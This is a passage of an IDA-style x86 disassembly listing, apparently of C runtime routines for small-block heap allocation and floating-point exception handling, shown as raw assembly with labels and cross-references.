dword_4397D0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B89C mov esi, offset off_4397C0 jmp short loc_41B8B9 ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B888+Bj push 2020h push 0 push dword_48B684 call near ptr 26F0000h nop mov esi, eax test esi, esi jz loc_41B9C5 loc_41B8B9: ; CODE XREF: sub_41B888+12j mov ebp, dword_4241B4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41B9AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41B9A0 mov eax, offset off_4397C0 cmp esi, eax jnz short loc_41B918 cmp off_4397C0, 0 jnz short loc_41B908 mov off_4397C0, eax loc_41B908: ; CODE XREF: sub_41B888+79j cmp off_4397C4, 0 jnz short loc_41B92D mov off_4397C4, eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B918: ; CODE XREF: sub_41B888+70j mov [esi], eax mov eax, off_4397C4 mov [esi+4], eax mov off_4397C4, esi mov eax, [esi+4] mov [eax], esi loc_41B92D: ; CODE XREF: sub_41B888+87j ; sub_41B888+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B94F: ; CODE XREF: sub_41B888+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41B94F push ebx push 0 push edi call sub_417330 add esp, 0Ch loc_41B978: ; CODE XREF: sub_41B888+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B99C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B978 ; --------------------------------------------------------------------------- loc_41B99C: ; CODE XREF: sub_41B888+F7j mov eax, esi jmp short loc_41B9C7 ; --------------------------------------------------------------------------- loc_41B9A0: ; CODE XREF: sub_41B888+63j push 8000h push 0 push edi nop call near ptr 2830643h loc_41B9AE: ; CODE XREF: sub_41B888+4Bj cmp esi, offset off_4397C0 jz short loc_41B9C5 push esi push 0 push dword_48B684 nop call near ptr 26E0000h loc_41B9C5: ; CODE XREF: sub_41B888+2Bj ; sub_41B888+12Cj xor eax, eax loc_41B9C7: ; CODE XREF: sub_41B888+116j pop edi pop esi pop ebp pop ebx retn sub_41B888 endp ; =============== S U B R O U T I N E ======================================= sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 2830643h cmp off_43B7E0, esi jnz short loc_41B9F1 mov eax, [esi+4] mov off_43B7E0, eax loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj cmp esi, offset off_4397C0 jz short loc_41BA19 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_48B684 nop call near ptr 26E0000h pop esi retn ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj or dword_4397D0, 0FFFFFFFFh pop esi retn sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_4397C4 push edi loc_41BA2F: ; CODE XREF: sub_41BA22+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41BACD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41BA48: ; CODE XREF: sub_41BA22+72j cmp dword ptr [edi], 0F0h jnz short loc_41BA89 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call near ptr 2830643h nop test eax, eax jz short loc_41BA89 or dword ptr [edi], 0FFFFFFFFh dec dword_48A07C mov eax, [esi+0Ch] test eax, eax jz short loc_41BA7E cmp eax, edi jbe short loc_41BA81 loc_41BA7E: ; CODE XREF: sub_41BA22+56j mov [esi+0Ch], edi loc_41BA81: ; CODE XREF: sub_41BA22+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41BA96 loc_41BA89: ; CODE XREF: sub_41BA22+2Cj ; sub_41BA22+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41BA48 loc_41BA96: ; CODE XREF: sub_41BA22+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41BACD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41BACD push 1 lea eax, [ecx+20h] pop edx loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41BABE inc edx add eax, 8 cmp edx, 400h jl short loc_41BAAD loc_41BABE: ; CODE XREF: sub_41BA22+8Ej cmp edx, 400h jnz short loc_41BACD push ecx call sub_41B9CC pop ecx loc_41BACD: ; CODE XREF: sub_41BA22+11j ; sub_41BA22+7Dj ... cmp esi, off_4397C4 jz short loc_41BADF cmp [ebp+arg_0], 0 jg loc_41BA2F loc_41BADF: ; CODE XREF: sub_41BA22+B1j pop edi pop esi pop ebx leave retn sub_41BA22 endp ; =============== S U B R O U T I N E ======================================= sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap ; sub_41944F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_4397C0 push esi mov ecx, edx loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj cmp eax, [ecx+10h] jbe short loc_41BAFA cmp eax, [ecx+14h] jb short loc_41BB02 loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41BB37 jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BB02: ; CODE XREF: sub_41BAE4+14j test al, 0Fh jnz short loc_41BB37 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41BB37 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj ; sub_41BAE4+20j ... xor eax, eax pop esi retn sub_41BAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp ; sub_41944F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41BB7F inc dword_48A07C cmp dword_48A07C, 20h jnz short locret_41BB7F push 10h call sub_41BA22 pop ecx locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj ; sub_41BB3B+3Aj retn sub_41BB3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap ; sub_41944F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43B7E0 push edi loc_41BB8E: ; CODE XREF: sub_41BB80+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41BC39 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41BBF3 loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41BBDC cmp [edi+4], ebx jbe short loc_41BBDC push ebx push ecx push eax call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41BBDC: ; CODE XREF: sub_41BB80+40j ; sub_41BB80+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41BBB9 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41BB80+37j mov ebx, [ebp+arg_0] loc_41BBF6: ; CODE XREF: sub_41BB80+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41BC3C loc_41BC09: ; CODE XREF: sub_41BB80+B5j mov eax, [edi] cmp eax, ebx jl short loc_41BC28 cmp [edi+4], ebx jbe short loc_41BC28 push ebx push eax push [ebp+var_4] call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov [edi+4], ebx loc_41BC28: ; CODE XREF: sub_41BB80+8Dj ; sub_41BB80+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41BC09 jmp short loc_41BC3C ; --------------------------------------------------------------------------- loc_41BC39: ; CODE XREF: sub_41BB80+14j mov ebx, [ebp+arg_0] loc_41BC3C: ; CODE XREF: sub_41BB80+87j ; sub_41BB80+B7j mov esi, [esi] cmp esi, off_43B7E0 jz short loc_41BC5B jmp loc_41BB8E ; --------------------------------------------------------------------------- loc_41BC4B: ; CODE XREF: sub_41BB80+54j ; sub_41BB80+A3j mov off_43B7E0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BD83 ; --------------------------------------------------------------------------- loc_41BC5B: ; CODE XREF: sub_41BB80+C4j mov eax, offset off_4397C0 mov edi, eax loc_41BC62: ; CODE XREF: sub_41BB80+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41BC6E cmp dword ptr [edi+0Ch], 0 jnz short loc_41BC7A loc_41BC6E: ; CODE XREF: sub_41BB80+E6j mov edi, [edi] cmp edi, eax jz loc_41BD4F jmp short loc_41BC62 ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BB80+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41BCA9 loc_41BC98: ; CODE XREF: sub_41BB80+127j cmp [ebp+var_4], 10h jge short loc_41BCA9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41BC98 loc_41BCA9: ; CODE XREF: sub_41BB80+116j ; sub_41BB80+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 2830702h nop cmp eax, esi jnz loc_41BD81 push 0 push [ebp+var_8] push esi call sub_417330 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BD10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41BCE6 loc_41BD10: ; CODE XREF: sub_41BB80+15Ej mov off_43B7E0, edi lea eax, [edi+2018h] loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j cmp ecx, eax jnb short loc_41BD2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BD2A add ecx, 8 jmp short loc_41BD1C ; --------------------------------------------------------------------------- loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j cmp ecx, eax loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD4F: ; CODE XREF: sub_41BB80+F2j call sub_41B888 test eax, eax jz short loc_41BD81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43B7E0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD81: ; CODE XREF: sub_41BB80+143j ; sub_41BB80+1D6j xor eax, eax loc_41BD83: ; CODE XREF: sub_41BB80+D6j ; sub_41BB80+1CDj ... pop edi pop esi pop ebx leave retn sub_41BB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap ; sub_41BB80+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BDCD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BDBC add [ecx], edx sub [ecx+4], edx jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BDC5: ; CODE XREF: sub_41BD88+32j lea eax, [edi+8] jmp loc_41BE9B ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BDD6 mov eax, esi loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BE20 loc_41BDDD: ; CODE XREF: sub_41BD88+96j mov bl, [eax] test bl, bl jnz short loc_41BE13 push 1 lea ebx, [eax+1] pop esi loc_41BDE9: ; CODE XREF: sub_41BD88+68j cmp byte ptr [ebx], 0 jnz short loc_41BDF2 inc ebx inc esi jmp short loc_41BDE9 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BD88+64j cmp esi, edx jnb short loc_41BE44 cmp eax, [ebp+var_4] jnz short loc_41BE00 mov [ecx+4], esi jmp short loc_41BE0C ; --------------------------------------------------------------------------- loc_41BE00: ; CODE XREF: sub_41BD88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BEA5 loc_41BE0C: ; CODE XREF: sub_41BD88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BE18 ; --------------------------------------------------------------------------- loc_41BE13: ; CODE XREF: sub_41BD88+59j movzx esi, bl add eax, esi loc_41BE18: ; CODE XREF: sub_41BD88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BDDD loc_41BE20: ; CODE XREF: sub_41BD88+53j lea esi, [ecx+8] loc_41BE23: ; CODE XREF: sub_41BD88+EBj ; sub_41BD88+F2j cmp esi, edi jnb short loc_41BEA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BEA5 mov al, [esi] test al, al jnz short loc_41BE75 push 1 lea ebx, [esi+1] pop eax loc_41BE3B: ; CODE XREF: sub_41BD88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BE65 inc ebx inc eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE44: ; CODE XREF: sub_41BD88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BE5E ; --------------------------------------------------------------------------- loc_41BE55: ; CODE XREF: sub_41BD88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BE5E: ; CODE XREF: sub_41BD88+CBj mov [eax], dl add eax, 8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD88+B6j cmp eax, edx jnb short loc_41BE7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BEA5 mov esi, ebx jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE75: ; CODE XREF: sub_41BD88+ABj movzx eax, al add esi, eax jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BE96 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BD88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BE96: ; CODE XREF: sub_41BD88+103j mov [esi], dl lea eax, [esi+8] loc_41BE9B: ; CODE XREF: sub_41BD88+40j ; sub_41BD88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej ; sub_41BD88+9Dj ... xor eax, eax loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj pop edi pop esi pop ebx leave retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BEE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BEAC+26j jnb short loc_41BF4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BF4D lea eax, [ecx+edx] loc_41BEFB: ; CODE XREF: sub_41BEAC+59j cmp eax, esi jnb short loc_41BF09 cmp byte ptr [eax], 0 jnz short loc_41BF07 inc eax jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BF07: ; CODE XREF: sub_41BEAC+56j cmp eax, esi loc_41BF09: ; CODE XREF: sub_41BEAC+51j jnz short loc_41BF4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BF41 cmp esi, eax jbe short loc_41BF41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BF38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BF33 loc_41BF2C: ; CODE XREF: sub_41BEAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BF2C loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej mov [ebx+4], eax jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF38: ; CODE XREF: sub_41BEAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BF41: ; CODE XREF: sub_41BEAC+68j ; sub_41BEAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BF46: ; CODE XREF: sub_41BEAC+38j mov [ebp+var_4], 1 loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j ; sub_41BEAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BF55(int,int,double,int) sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p ; sub_417DEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43BF38, 0 jnz short loc_41BF8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C50A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BF8A: ; CODE XREF: sub_41BF55+Aj push 0FFFFh mov dword_48A014, 21h push [ebp+arg_C] call sub_41C77D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BFA8(int,int,double,double,int) sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p ; sub_417DEB:loc_417EAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41C2F3 add esp, 0Ch test eax, eax jnz short loc_41BFE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41C040 add esp, 18h loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj push [ebp+arg_0] call sub_41C5DD cmp dword_43BF38, 0 pop ecx jnz short loc_41C024 test eax, eax jz short loc_41C024 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C50A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFA8+4Ej ; sub_41BFA8+52j push eax call sub_41C592 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C77D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41C072 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41C072: ; CODE XREF: sub_41C040+23j test cl, 2 jz short loc_41C085 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41C085: ; CODE XREF: sub_41C040+35j test cl, bl jz short loc_41C097 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41C097: ; CODE XREF: sub_41C040+47j test cl, 4 jz short loc_41C0AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41C0AA: ; CODE XREF: sub_41C040+5Aj test cl, 8 jz short loc_41C0BD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41C0BD: ; CODE XREF: sub_41C040+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C760 test al, bl jz short loc_41C146 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41C146: ; CODE XREF: sub_41C040+FDj test al, 4 jz short loc_41C151 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41C151: ; CODE XREF: sub_41C040+108j test al, 8 jz short loc_41C15C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41C15C: ; CODE XREF: sub_41C040+113j test al, 10h jz short loc_41C166 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41C166: ; CODE XREF: sub_41C040+11Ej test al, 20h jz short loc_41C170 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41C170: ; CODE XREF: sub_41C040+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41C1AF cmp eax, 400h jz short loc_41C1A1 cmp eax, 800h jz short loc_41C195 cmp eax, ecx jnz short loc_41C1B5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C195: ; CODE XREF: sub_41C040+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41C1AB ; --------------------------------------------------------------------------- loc_41C1A1: ; CODE XREF: sub_41C040+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41C1AB: ; CODE XREF: sub_41C040+15Fj mov [eax], ecx jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C1AF: ; CODE XREF: sub_41C040+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41C1B5: ; CODE XREF: sub_41C040+14Bj ; sub_41C040+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41C1E0 cmp eax, 200h jz short loc_41C1D3 cmp eax, ecx jnz short loc_41C1ED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41C1ED ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C040+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41C1EB ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: sub_41C040+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41C1EB: ; CODE XREF: sub_41C040+19Ej mov [eax], ecx loc_41C1ED: ; CODE XREF: sub_41C040+189j ; sub_41C040+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C76E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2840000h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41C267 and dword ptr [esi], 0FFFFFFFEh loc_41C267: ; CODE XREF: sub_41C040+222j test byte ptr [eax+8], 8 jz short loc_41C270 and dword ptr [esi], 0FFFFFFFBh loc_41C270: ; CODE XREF: sub_41C040+22Bj test byte ptr [eax+8], 4 jz short loc_41C279 and dword ptr [esi], 0FFFFFFF7h loc_41C279: ; CODE XREF: sub_41C040+234j test byte ptr [eax+8], 2 jz short loc_41C282 and dword ptr [esi], 0FFFFFFEFh loc_41C282: ; CODE XREF: sub_41C040+23Dj test [eax+8], bl jz short loc_41C28A and dword ptr [esi], 0FFFFFFDFh loc_41C28A: ; CODE XREF: sub_41C040+245j mov ecx, [eax] mov edx, 0FFFFF3FFh 